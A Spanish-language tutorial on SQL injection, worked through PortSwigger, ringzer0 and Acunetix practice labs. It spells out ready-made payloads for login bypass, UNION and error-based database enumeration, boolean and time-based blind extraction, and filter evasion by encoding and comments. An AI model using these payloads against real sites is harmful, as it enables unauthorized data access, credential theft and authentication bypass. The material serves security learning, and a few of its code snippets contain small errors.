SQL injection

Table of contents

  1. SQL injection in WHERE clause
  2. SQL injection Broken Authentication
  3. In-band based
    1. UNION-based SQL injection
      1. Funcion de UNION
      2. Obteniendo al numero de columnas
      3. Obteniendo informacion basica
      4. Concatenando
      5. Obteniendo informacion con information schema
    2. Error-based SQL injection
      1. Enumerando la base de datos
  4. Blind-Based SQL injections
    1. Boolean-based
      1. Funcion de substr()
      2. Nombre de la base de datos
    2. Time-Based
      1. Nombre de la base de datos
  5. Bypass filters SQL injection
    1. null-bytes
    2. URL encode
    3. Hex encoding
    4. Char encoding
    5. Concatenacion de strings
    6. Comentarios

En esta seccion Un Poco De Web Pentesting mi intencion es explicar sin tanto tramite como explotar varias vulnerabilidades web tomando como ejemplo CTFs y laboratorios que me encuentro, ten en cuenta que este solo es un recurso mas de los que hay internet.

En esta seccion Un Poco De Web Pentesting mi intencion es explicar sin tanto tramite como explotar varias vulnerabilidades web tomando como ejemplo CTFs y laboratorios que me encuentro, ten en cuenta que este solo es un recurso mas de los que hay internet.

SQL injection in WHERE clause

Lab: PortSwigger

Cuando se hace referencia a “WHERE clause”, me refiero a cuando se esta haciendo uso de la clausula WHERE y no se estan sanitizando las entradas del usuario, asi que nosotros podemos ir alterando la consulta a nuestro favor para inyectar nuestros inputs maliciosos. El objetivo de este laboratorio es encontrar la forma de listar todos los productos que se encuentran para una categoria.

El laboratorio nos menciona que cuando se selecciona una categoria se esta realizando una consulta como esta:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Es decir:

Donde category y released seguramente sean columnas de la tabla products. Vemos que en la consulta se esta usando el AND, lo que quiere decir que se deben de cumplir las condiciones de que category = 'Gift' y released = 1, seguramente released es la columna que dice si un producto esta publicado o no.

Rgresando a la pagina, cuando seleccionamos la categoria Pets en la web nos muestra algo como esto:

Y en la URL sale algo como:

/filter?category=Pets

Osea que esta filtrando por la categoria Pets, recordemos que en esta ocasion no se esta sanitizando la consulta, por lo que podemos ir alterando la consulta para poder filtrar datos.

Entonces si sabemos como se esta haciendo la consulta, podemos empezar a modificarla, que pasara si ahora en la URL le mandamos esto:

filter?category=Pets' or 1=1-- -

Ahora la consulta sera algo como esto:

SELECT * FROM products WHERE category = 'Pets' or 1=1-- -

Lo que esta haciendo ahora es seleccionar todas las columnas de la tabla products donde la categoria sea Pets o 1=1.

Cuando se usa or lo que hace es combinar varias condiciones en un WHERE, y al usarlo se asume que la condicion completa es verdadera cuando cualquiera de las condiciones sea verdadera.

En este caso toda la consulta es TRUE, ya que 1 si es igual a 1, y category es igual a ‘Pets’.

Pero vemos que al final de la consulta tiene un -- -, esto es una forma de hacer comentarios en SQL, y lo usamos en esa parte ya que queremos que la condicion AND released = 1 se omita, asi seria la consulta que pasa por detras:

SELECT * FROM products WHERE category = 'Pets' or 1=1-- - AND released = 1
                                                                  |
                                                                  |
                                                    Ahora esto esta comentado y no es valido

Y con esto pudimos resolver el laboratorio, ya que mostramos todos los productos de la categoria Pets:D

SQL injection Broken Authentication

Con Broken Authentication me refiero a que podemos evadir la autenticacion de una pagina web, como el inicio de sesion de una web, puede ocurrir que no conozcamos la contraseña ni el usuario, o puede ser que conozcamos un usuario con el que podemos iniciar sesion pero no conocemos su contraseña, sin embargo, no se estan sanitizando los inputs como en el ejemplo anterior y podemos ir modificando la consulta para inyectar nuestros inputs maliciosos.

Lab: ringzer0

Al entrar, podemos ver algo como esto:

Donde por detras, seguramente se esta relizando una consulta como esta, suponiendo que PHP es el lenguaje:

$consulta = "SELECT * FROM users WHERE username='" + $_POST["user"] + "' AND password= '" + $_POST["password"]$ + '";"

Nuestro objetivo es evadir el login usando un usuario valido sin conocer la contraseña, regularmente en una tabla donde se almacenan usuarios, el usuario admin se encuentra registrado.

Podemos intentar mandarle esto como input:

usuario: admin’

contraseña: or 1=1– -

Y la consulta seria algo asi:

SELECT * FROM users WHERE username = 'admin' or 1=1-- - AND password = "no se"

Y la explicacion es la misma que en el laboratorio anterior, solo que ahora estamos diciendo que vamos a iniciar con el usuario admin sin conocer la contraseña, ya que se comento la parte de AND password = "" y ya no se hace valida.

Y con eso resolvimos el desafio:

In-band based

In-band es cuando la respuesta/salida de la consulta se muestra en la pagina web, osea en el front-end

UNION-based SQL injection

En este tipo de inyeccion se hace uso del operador UNION con el fin de unir los resultados de varios SELECT.

Funcion de UNION

Imaginemos que tenemos una consulta como esta:

SELECT nombre, anime FROM waifus UNION SELECT nombre, apellido FROM personas

Lo que esta haciendo es unir el resultado de la consulta SELECT nombre, anime FROM waifus con el resultado de la consulta SELECT nombre, apellido FROM personas, visualmente cada una de las consultas seria asi:

Se puede ver que cuando se hizo el UNION, los datos de la segunta consulta se agregaron al final. Algunas consideraciones son:

  • Cuando realizamos un UNION entre dos SELECT, los dos deben de tener el mismo numero de columnas seleccionadas en la consulta
  • Deben de coincidir los tipos de datos, es decir, en el ejemplo de arriba debe de coincidir el tipo de dato de la columna nombre de la tabla waifus, con el de la columna nombre de la tabla personas
  • Si no quieres descartar datos duplicados, usa UNION ALL

Para saber si estamos contra una inyeccion de este tipo, podemos usar el payload 1' UNION SELECT 1,2,3-- -.

Y si en la repuesta de la consulta ocurre que:

  • Añada los datos de la segunda consulta
  • Salga el mensaje The used SELECT statements have a different number of columns

Es por que estamos ante una inyeccion SQL de este tipo

Obteniendo al numero de columnas

Antes de realizar UNION-based, es necesario conocer el numero de columnas que tiene, comunmente se hace con la instruccion ORDER BY, esta instruccion nos sirve para hacer un ordenamiento de los datos con base en un numero de columnas, es decir, si usamos el payload 1' ORDER BY 10-- -, le estamos diciento que nos ordene los datos basandose en la decima columna, si la tabla no tiene 10 columnas nos saltara un error, asi que podemos ir prueba y error hasta saber el numero de columnas existentes.

Obteniendo informacion basica
  • Nombre de la base de datos: 1' UNION SELECT null, null, database()-- -

  • Version de la base da datos: 1’ UNION SELECT null, null, @@version-- -

  • Usuario en uso de la base de datos: 1' UNION SELECT null, null, user()-- -

Concatenando

Habra veces donde tendremos que mostrar los resultados de varias columnas en una sola, para eso podemos concatenarlos usando concat(), de esta manera:

1' UNION SELECT null, CONCAT(usuario, contraseña), null FROM usuarios-- -

En ese ejemplo estamos concatenando usuario y contraseña en el resultado de la columna 2

Obteniendo informacion con information schema

Los gestores de bases de datos tienen bases de datos que guardan informacion de otras bases de datos, en MySQL se llama information_schema

Enumerar las bases de datos

Una vez que sepamos el numero de columnas podemos usar un payload como este:

1' UNION SELECT schema_name, null, null FROM information_schema.schemata-- -

Donde la tabla schemata tiene informacion de las bases de datos, y una de sus columnas es schema_name, la cual tiene el nombre de las bases de datos.

Enumeracion de tablas

Supongamos que el resultado de la consulta anterior nos dio el nombre de una base de datos que se llama waifus, asi que para sacar sus tablas podemos usar:

1' UNION SELECT table_name, null, null FROM informacion_schema.tables WHERE table_schema="waifus"-- -

Donde:

  • table_name son las tablas
  • table_schema es el nombre de la base da datos

Enumeracion de columnas

Supongamos que la consulta anterior nos dio una tabla que se llama besto_waifus, entonces para sacar sus columnas se usaria:

1' UNION SELECT column_name, null, null FROM information_schema.columns WHERE table_schema="waifus" AND table_name="besto_waifus"-- -

Donde:

  • column_name son las columnas de la tabla
  • table_schema es la base de datos
  • table_name es la tabla

Mostrando los datos

Supongamos que la anterior consulta nos arrojo que tiene las columnas nombre y anime, asi que para mostrar esos datos podriamos usar:

1' UNION SELECT null, null, CONCAT(nombre, anime) FROM besto_waifus-- -

Mostrando los datos de otra base de datos

En todo caso de que estemos enumerando las tablas y columnas de una base de datos diferente a la que esta en uso, y queremos mostrar los datos de una tabla, podriamos usar lo siguiente

1' UNION SELECT null, null, CONCAT(nombre, anime) FROM waifus.besto_waifus-- -

Donde:

  • waifus es la base de datos
  • besto_waifus es la tabla

Error-based SQL injection

Lab: Acunetix (El numero total de columnas es 11)

La idea de las error-based es ocasionar a proposito un error, de tal forma, que podamos usar ese error para sacar informacion de la base de datos

La forma mas facil de ocasionar un error es agregando una comilla al final de la consulta, y el URL quedaria algo asi http://testphp.vulnweb.com/listproducts.php?cat=1', donde el resultado es:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

Con esto sabemos que se esta usando MySQL como gestor, que ocasiono el error, donde lo ocasiono, y como extra nos muestra el directorio de un recurso: /hj/var/www/listproducts.php

Enumerando la base de datos

Obteniendo el nombre de la base de datos

Podemos hacer uso de la funcion EXTRACTVALUE() la cual toma dos argumentos, una cadena de marcado XML y una expresion XPath. cuando se usa EXTRACTVALUE() lo que regresa es un texto. Usaremos el payload:

AND EXTRACTVALUE('',CONCAT('=',database()))-- -

Basicamente muestra el nombre de la base de datos en uso, gracias a que ocasiono un error. Entonces la URL queda asi:

http://testphp.vulnweb.com/listproducts.php?cat=1 AND EXTRACTVALUE('',CONCAT('=',database()))-- -

Y el resultado es:

Vemos como la base de datos es acuart

Enumeracion de las bases de datos

Ojo: en este tipo de inyeccion solo podemos sacar un columna, asi que usaremos LIMIT 0,1 para solo obtener un dato.

Usaremos el payload:

AND EXTRACTVALUE('',CONCAT('=',(SELECT concat(schema_name) FROM information_schema.schemata LIMIT 0,1)))--

Y la URL queda

http://testphp.vulnweb.com/listproducts.php?cat=1%20AND%20EXTRACTVALUE(%27%27,CONCAT(%27=%27,(SELECT%20concat(schema_name)%20FROM%20information_schema.schemata%20LIMIT%200,1)))--

Y vemos que el resultado fue:

Y nos dice que una base de datos es ìnformation_schema

Si queremos iterar entre los resultados solo hay que cambiar la parte de LIMIT 0,1 a LIMIT 1,1 y asi sucesivamente

Enumeracion de las tablas

Una de las bases de datos existentes es acuart asi que ahora mostraremos las tablas con el payload:

AND EXTRACTVALUE('',CONCAT('=',(SELECT table_name FROM information_schema.tables WHERE table_schema="acuart" LIMIT 0,1)))-- -

Y vemos que una de las tablas es artist

Blind-Based SQL injections

Este tipo de inyeccion se caracterizan por que no podemos ver el resultado de la consulta en la respuesta de la web, osea en el front-end, y en ocasiones no devolvera nada.

Boolean-based

Estas inyecciones utilizan condiciones booleanas (TRUE o FALSE), en las cuales devuelve un resultado dependiendo si un dato es correcto o no. En donde una consulta que sea TRUE devuelve un resultado diferente a una que sea FALSE

Para saber si estamos contra una boolean based, podemos inyectar operadores logicos como AND y ir probando con una condicion que sea verdad(1=1) y una que sa falsa(1=2).

Funcion de substr()

Esta funcion devuelve el numero de caracteres desde una posicion, dado un string, donde su estructura es:

subtr(posicion, cantidad_de_caracteres)

Por ejemplo, al seleccionar el nombre de la base de datos podemos ver que nos sale esto:

MariaDB [information_schema]> select database();
+--------------------+
| database()         |
+--------------------+
| information_schema |
+--------------------+
1 row in set (0.000 sec)

MariaDB [information_schema]> 

Ahora usaremos substr() para que nos regrese el primer caracter de la base de datos:

MariaDB [information_schema]> select substr((select database()), 1, 1);
+-----------------------------------+
| substr((select database()), 1, 1) |
+-----------------------------------+
| i                                 |
+-----------------------------------+
1 row in set (0.003 sec)

Lo que estamos haciendo es decirle es que desde la primera posicion nos regrese un caracter del resultado de select database().

Si queremos que desde la segunda posicion nos regrese un caracter , sera asi:

select substr((select database()), 2, 1);

Y si queremos que desde la primera posicion nos regrese dos caracteres, ahora es asi:

select substr((select database()), 1, 2);
Nombre de la base de datos

Y podemos usar el payload:

' AND SUBSTR(database(),1,1)="w"-- -

El cual esta comparando si el primer caracter del nombre la base de datos es igual a w y en caso de que sea correcto, nos devolvera TRUE y el servidor web nos respondera de cierta forma, por ejemplo, mostrando el mensaje Hola c4rtita, y en caso de que no sea una letra de la base de datos y responda FALSE, entonces el mensaje Hola c4rtita ya no aparecera.

Ahora, en caso que w si sea una letra de la base de datos, entonces ahora tendremos que sacar la segunda, y usaremos el payload:

' AND SUBSTR(database(),2,1)="a"-- 

En esta caso vamos a comparar si la letra que se encuentra en la posicion dos del nombre de la base de datos es igual a a. Y asi podemos ir adivinando el nombre de la base de datos, pero es muy tedioso, asi que en este tipo de inyecciones tendras que hacerte un script.

Para complementar la explicacion puedes leer aqui

Time-Based

Son casi iguales que las Boolean-based, solo que ahora para saber si nuestra inyeccion es correcta, tendremos que esperar un cierto tiempo antes de que el servidor nos de una respuesta, y al igual que las boolean based, necesitamos que la primera expresion AND devuelva un TRUE.

Para saber si estamos ante una inyeccion de este tipo, podemos usar este payload:

' and sleep(5)-- -

Y si el servidor tarda 5 segundos en darnos una repuesta es por que estamos contra una inyeccion de este tipo

Nombre de la base de datos

Podemos usar el payload:

' AND IF(SUBSTR(database(),1,1)="w", sleep(5),1)-- -

Lo que esta haciendo es comparar que la primera letra del nombre de la base de datos sea w, y en caso de que lo sea nos regresa TRUE, y esperara 5 segundos.

Con las boolean-based y las time-based tambien podemos enumerar tablas y columnas usando la base de datos ìnformation_schema, como por ejemplo de esta forma:

' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema="waifus" LIMIT 0,1),1,1)="b",sleep(5),1)-- -

Donde esta comparando si la primera letra de la primera tabla de la base de datos waifus es igual a b, y si es TRUE, entonces el servidor tarda 5 segundos en responder.

Y por ultimo, en las boolean-based y time-based se ocupan scritps para hacer mas rapido el proceso.

Si quieres leer mas de las time-based puedes leer aqui

Bypass filters SQL injection

null-bytes

Puede ser que en la consulta se esten bloquendo ciertos caracteres en la consulta de SQL, una forma es usando null-byte, basicamente poner %00 por delante de el caracter que es este bloquendo:

%00' or 1=1--

URL encode

Los caracteres no validos en las URL deben de convertirse a ASCII validos para que las URL los puedan interpretar, por ejemplo:

' or 1=1--

En URL encode es:

%27%20or%201%3D1--

Para codificarlos pueden usar URL encode

Hex encoding

Con la codifcacion hexadecimal va a remplazar los caracteres originales con su valor en hexadecimal

Normal:

MariaDB [test]> SELECT anime FROM waifus WHERE nombre = "Miwa Yamamura";
+-----------+
| anime     |
+-----------+
| Barakamon |
+-----------+
1 row in set (0.001 sec)

Hex:

MariaDB [test]> SELECT anime FROM waifus WHERE nombre = UNHEX('4D6977612059616D616D757261');
+-----------+
| anime     |
+-----------+
| Barakamon |
+-----------+
1 row in set (0.001 sec)

Char encoding

Seria practicamente lo mismo que la hexadecimal, solo que ahora se hace uso de la funcion CHAR()

Puedes consultar la tabla usando man ascii:

Tables
       For convenience, below is a more compact table in decimal.

          30 40 50 60 70 80 90 100 110 120
         ---------------------------------
        0:    (  2  <  F  P  Z  d   n   x
        1:    )  3  =  G  Q  [  e   o   y
        2:    *  4  >  H  R  \  f   p   z
        3: !  +  5  ?  I  S  ]  g   q   {
        4: "  ,  6  @  J  T  ^  h   r   |
        5: #  -  7  A  K  U  _  i   s   }
        6: $  .  8  B  L  V  `  j   t   ~
        7: %  /  9  C  M  W  a  k   u  DEL
        8: &  0  :  D  N  X  b  l   v
        9: '  1  ;  E  O  Y  c  m   w

Y el ejemplo seria:

SELECT anime FROM waifus WHERE nombre = CHAR(77,105,109,97); --> Ahi dice "Miwa"

Concatenacion de strings

Basicamente dividir la palabra y luego unirla

MySQL: SELECT anime FROM waifus WHERE nombre=CONCAT('Miwa Yama','mura');

sqlite y PostgresSQL: SELECT anime FROM waifus WHERE nombre='Miwa Yama'||'mura';

Comentarios

Basicamente es divir una consulta entre comentarios, tambien sirve para evadir la restriccion cuando no se admiten espacios en blanco

Ejemplo:

MariaDB [test]> SELECT/**/*/**/FROM/**/waifus/**/WHERE/**/nombre/**/=/**/'Miwa Yamamura';
+---------------+-----------+
| nombre        | anime     |
+---------------+-----------+
| Miwa Yamamura | Barakamon |
+---------------+-----------+
1 row in set (0.001 sec)

Si quieres ver algunas de estas tecnicas para evadir filtros pero aplicados a una CTF, puedes leer este otro post mio: picale aqui

Y como extra, si quieres la explicacion de los labs de PortSwigger puedes ver el writeup de mi compa dansh

Eso ha sido todo, gracias por leer ❤